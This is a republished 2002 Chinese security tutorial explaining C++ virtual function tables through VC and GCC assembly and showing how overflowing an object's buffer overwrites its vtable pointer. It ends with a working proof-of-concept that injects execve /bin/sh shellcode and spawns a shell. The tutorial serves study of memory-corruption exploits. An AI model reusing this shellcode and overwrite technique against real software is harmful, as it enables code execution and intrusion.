◆ C++中通過溢出覆蓋虛函數指標列表執行代碼

來源:互聯網
上載者:User

 ◆ C++中通過溢出覆蓋虛函數指標列表執行代碼

作者:watercloud
首頁:http://www.nsfocus.com
日期:2002-4-15

    
目錄:

  1.  C++中虛函數的靜態聯編和動態聯編
  2.  VC中對象的空間組織和溢出實驗
  3.  GCC中對象的空間組織和溢出實驗
  4.  參考

<一> C++中虛函數的靜態聯編和動態聯編

      C++中的一大法寶就是虛函數,簡單來說就是加virtual關鍵字定義的函數。
  其特性就是支援動態聯編。現在C++開發的大型軟體中幾乎已經離不開虛函數的
  使用,一個典型的例子就是虛函數是MFC的基石之一。

     這裡有兩個概念需要先解釋:

  靜態聯編:通俗點來講就是程式編譯時間確定調用目標的地址。
  動態聯編:程式運行階段確定調用目標的地址。
    
     在C++中通常的函數調用都是靜態聯編,但如果定義函數時加了virtual關鍵
  字,並且在調用函數時是通過指標或引用調用,那麼此時就是採用動態聯編。

      一個簡單例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
  int num1;
  ClassA(){ num1=0xffff; };
  virtual void test1(void){};
  virtual void test2(void){};
};
ClassA objA,* pobjA;

int main(void)
{
  pobjA=&objA;
  objA.test1();
  objA.test2();
  pobjA->test1();
  pobjA->test2();
  return 0;
}

 
使用VC編譯:
開一個命令列直接在命令列調用cl來編譯: (如果你安裝vc時沒有選擇註冊環境
變數,那麼先在命令列運行VC目錄下bin\VCVARS32.BAT )

cl test.cpp /Fa
產生test.asm中間彙編代碼

接下來就看看asm裡有什麼玄虛,分析起來有點長,要有耐心 !

我們來看看:

資料定義:

_BSS    SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?)    ;objA  64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位
_BSS    ENDS

看到objA為64位,裡邊存放了哪些內容呢? 接著看看建構函式:

_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變數 _this ?!
; File test.cpp
; Line 6
    push    ebp
    mov    ebp, esp
    push    ecx
    mov    DWORD PTR _this$[ebp], ecx  ; ecx 賦值給 _this ?? 不明白??

    mov    eax, DWORD PTR _this$[ebp]
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'

; 前面的部分都是編譯器加的東東,我們的賦值在這裡

    mov    ecx, DWORD PTR _this$[ebp]
    mov    DWORD PTR [ecx+4], 65535   ;0xffff  num1=0xffff;
; 看來 _this+4就是num1的地址

    mov    eax, DWORD PTR _this$[ebp]
    mov    esp, ebp
    pop    ebp
    ret    0
??0ClassA@@QAE@XZ ENDP

那個_this和mov    DWORD PTR _this$[ebp], ecx 讓人比較鬱悶了吧,不急看看何
處調用的建構函式:

_$E9    PROC NEAR
; File test.cpp
; Line 10
    push    ebp
    mov    ebp, esp
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
    call    ??0ClassA@@QAE@XZ          ;call ClassA::ClassA()
    pop    ebp
    ret    0
_$E9    ENDP

看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中
的非靜態方法編譯器編譯時間都會自動添加一個this變數,並且在函數開始處把ecx
賦值給他,指向調用該方法的對象的地址 。

那麼建構函式裡的這兩行又是幹什麼呢?
    mov    eax, DWORD PTR _this$[ebp]
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'

我們已經知道_this儲存的為對象地址: &objA。 那麼 eax = &objA
接著就相當於  ( * eax ) =  OFFSET FLAT:??_7ClassA@@6B@

來看看  ??_7ClassA@@6B@ 是哪個道上混的:

CONST    SEGMENT
??_7ClassA@@6B@
        DD FLAT:?test1@ClassA@@UAEXXZ  ;  ClassA::`vftable'
    DD FLAT:?test2@ClassA@@UAEXXZ
CONST    ENDS

看來這裡存放的就是test1(),test2()函數的入口地址 ! 那麼這個賦值:
    mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
           ; ClassA::`vftable'
就是在對象的起始地址填入這麼一個地址清單的地址。

好了,至此我們已經看到了objA的構造了:

| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1   | num1變數的空間          |
+--------+ ---> objA的結束位址     +--->+--------------+ 地址表 vftable
| 高地址 |                              |test1()的地址 |
                                        +--------------+
                                        |test2()的地址 |
                                        +--------------+

來看看main函數:
_main    PROC NEAR
; Line 13
    push    ebp
    mov    ebp, esp
; Line 14
    mov    DWORD PTR ?pobjA@@3PAVClassA@@A,
                OFFSET FLAT:?objA@@3VClassA@@A        ; pobjA = &objA

; Line 15
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A   ; ecx = this指標
                                                      ; 指向調用者的地址
    call    ?test1@ClassA@@UAEXXZ                 ; objA.test1()
             ; objA.test1()直接調用,已經確定了地址
; Line 16
    mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
    call    ?test2@ClassA@@UAEXXZ                 ; objA.test2()
; Line 17
    mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    mov    edx, DWORD PTR [eax]                  ; edx = vftable
    mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    call    DWORD PTR [edx]                       ;
       ; call vftable[0]  即 pobjA->test1()  看地址是動態尋找的 ; )
                                                                

; Line 18
    mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    mov    edx, DWORD PTR [eax]
    mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
    call    DWORD PTR [edx+4]                     ; pobjA->test2()
       ;  call vftable[1]  而vftable[1]裡存放的是test2()的入口地址
; Line 19
    xor    eax, eax
; Line 20
    pop    ebp
    ret    0
_main    ENDP

好了,相信到這裡你已經對動態聯編有了深刻印象。

<二> VC中對象的空間組織和溢出實驗

  通過上面的分析我們可以對對象空間組織概括如下:

| 低地址   |
+----------+ ---> objA的起始地址 &objA
|pvftable  |--------------------->+
+----------+                      |
|各成員變數|                      |
+----------+ ---> objA的結束位址  +---> +--------------+ 地址表 vftable
| 高地址   |                            |虛函數1的地址 |
                                        +--------------+
                                        |虛函數2的地址 |
                                        +--------------+
                                        | . . . . . .  |

可以看出如果我們能覆蓋pvtable然後構造一個自己的vftable表那麼動態聯編就使得
我們能改變程式流程!

現在來作一個溢出實驗:
先寫個程式來看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;

int main(void)
{
  cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
  return 0;
}

用cl編譯運行結果為:
0x00408998:0x00408990:0x00408991:0x00408994
編譯器把buff的地址放到後面了!
把程式改一改,定義變數時換成:
ClassEx obj1,obj2,* pobj;
int buff[1];
結果還是一樣!! 不會是vc就是防著這一手吧!
看來想覆蓋不容易呀 ; )
只能通過obj1 溢出覆蓋obj2了

//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
  cout << "Why a u here ?!" << endl;
};

ClassEx obj1,obj2,* pobj;

int main(void)
{

  pobj=&obj2;
  obj2.test();
 
  int vtab[1] = { (int) entry };//構造vtab,
                                //entry的入口地址
  obj1.buff[1] = (int)vtab;     //obj1.buff[1]就是 obj2的pvftable域
                                //這裡修改了函數指標列表的地址到vtab
  pobj->test();
  return 0;
}

編譯 cl ex_vc.cpp

運行結果:
ClassEx::test()
Why a u here ?!

測試環境: VC6

看我們修改了程式執行流程 ^_^

平時我們編程時可能用virtaul不多,但如果我們使用BC/VC等,且使用了廠商提供的
庫,其實我們已經大量使用了虛函數 ,以後寫程式可要小心了,一個不留神的變數
賦值可能會後患無窮。 //開始琢磨好多系統帶的程式也是vc寫的,裡邊會不會 ....

<三> GCC中對象的空間組織和溢出實驗

  剛才我們已經分析完vc下的許多細節了,那麼我們接下來看看gcc裡有沒有什麼不
一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp  來編譯得到彙編檔案
test.s 然後分析test.s我們就能得到許多細節上的東西。

通過分析我們可以看到:

gcc中對象地址空間結構如下:

|   低地址      |
+---------------+  對象的開始地址
|               |
|  成員變數空間 |
|               |
+---------------+
| pvftable      |----------->+------------------+  vftable
+---------------+            |        0         |
|    高地址     |            +------------------+
                             |    XXXXXXXX      |
                             +------------------+
                             |        0         |
                             +----------------- +
                             |  虛函數1入口地址 |
                             +------------------+
                             |        0         |
                             +----------------- +
                             |  虛函數2入口地址 |
                             +------------------+
                             | . . . .  . .     |

哈哈,可以看到gcc下有個非常大的優勢,就是成員變數在pvftable
前面,要是溢出成員變數賦值就能覆蓋pvftable,比vc下方便多了!

來寫個溢出測試程式:

//test.cpp
#include<iostream.h>
class ClassTest
{
public:
  long buff[1];   //大小為1
  virtual void test(void)
  {
     cout << "ClassTest test()" << endl;
  }
};

void entry(void)
{
  cout << "Why are u here ?!" << endl;
}

int main(void)
{
  ClassTest a,*p =&a;
  long addr[] = {0,0,0,(long)entry}; //構建的虛函數表
                                  //test() -> entry()

  a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指標
  a.test();    //靜態聯編的,不會有事
  p->test();   //動態聯編的,到我們的函數表去找地址,
               //     結果就變成了調用函數  entry()

}

編譯: gcc test.cpp -lstdc++
執行結果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!

測試程式說明:

具體的就是gcc -S test.cpp產生 test.s 后里邊有這麼一段:
.section        .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
        .p2align 2
        .type    _vt$9ClassTest,@object
        .size    _vt$9ClassTest,24
_vt$9ClassTest:
        .value 0
        .value 0
        .long __tf9ClassTest
        .value 0
        .value 0
        .long test__9ClassTest           ----------+
        .zero   8                                  |
        .comm   __ti9ClassTest,8,4                 |
                                                   |
                                                   |
                        test()的地址          <----+

這就是其虛函數列表裡的內容了。

                    test()地址在第3個(long)型地址空間

所以我們構造addr[]時:

   long addr[] = {0,0,0,(long)entry};

   就覆蓋了test()函數的地址 為 entry()的地址

   p->test()
   時就跑到我們構建的地址表裡取了entry的地址去運行了

測試環境 FreeBSD 4.4
         gcc 2.95.3

來一個真實一點的測試:
通過溢出覆蓋pvftable,時期指向一個我們自己構造的
vftable,並且讓vftable的虛函數地址指向我們的一段shellcode
從而得到一個shell。

#include<iostream.h>
#include<stdio.h>
class ClassBase  //定義一個基礎類
{
public:
  char buff[128];
  void setBuffer(char * s)
  {
     strcpy(buff,s);
  };
  virtual void printBuffer(void){};  //虛函數
};

class  ClassA :public ClassBase 
{
public:
  void printBuffer(void)
  {
     cout << "Name :" << buff << endl;
  };
};

class ClassB : public ClassBase
{
public:
  void printBuffer(void)
  {
     cout << "The text : " << buff << endl;
  };
};

char  buffer[512],*pc;            
long  * pl = (long *) buffer;
long  addr = 0xbfbffabc;   // 在我的機器上就是 &b ^_*
char  shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;

int main(void)
{
  ClassA a;
  ClassB b;
  ClassBase * classBuff[2] = { &a,&b };

  a.setBuffer("Tom");
  b.setBuffer("Hello ! This is world of c++ .");

  for(i=0;i<2;i++)     //C++中的慣用手法,
                       //一個基礎類的指標指向上層類對象時調
               //用的為高層類的虛函數
    classBuff[i]->printBuffer(); // 這裡是正常用法

  cout << &a << " : " << &b <<  endl; // &b就是上面addr的值,
                  //如果你的機器上兩個值不同就改一改addr值吧!
      //構造一個特殊的buff呆會給b.setBuffer
      // 在開始處構造一個vftable
  pl[0]=0xAAAAAAAA;     //填充1
  pl[1]=0xAAAAAAAA;     //填充2
  pl[2]=0xAAAAAAAA;     //填充3
  pl[3]=addr+16;        //虛函數printBuffer入口地址
                        //  的位置指向shell代碼處了
  pc = buffer+16;
  strcpy(pc,shellcode);
  pc+=strlen(shellcode);

  for(;pc - buffer < 128 ; *pc++='A');  //填充
 
  pl=(long *) pc;
  *pl= addr;             //覆蓋pvftable使其指向我們構造的列表

  b.setBuffer(buffer);  //溢出了吧 .

  // 再來一次
  for(i=0;i<2;i++)
    classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
                                 // 時一個shell就出來了

  return 0;
}
 

bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$                 <------ 呵呵,成功了

說明:

addr = &b  也就是 &b.buff[0]

b.setBuffer(buffer)
就是讓 b.buff溢出,覆蓋128+4+1個地址。
此時記憶體中的構造如下:

&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
                    ____  ^                ___
                      |   |                 |
                      |   |                 |
|                     +---+              |  |
|                                        |  |
+--------------->  128    <--------------+  |
                                            |
  此處即pvftable項 ,被溢出覆蓋為 addr   <---+                        

現在b.buff[0]的開始處就構建了一個我們自己的虛
函數表,虛函數的入口地址為shellcode的地址 !

      本文只是一個引導性文字,還有許多沒
  有提到的細節,需要自己去分析。
      俗話說自己動手豐衣足食 *_&

<四> 參考

  Phrack56# << SMASHING C++ VPTRS  >>

        個人愚見,望斧正!

                                 __watercloud__

                            (watercloud@nsfocus.com)

                                   2002-4-15

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.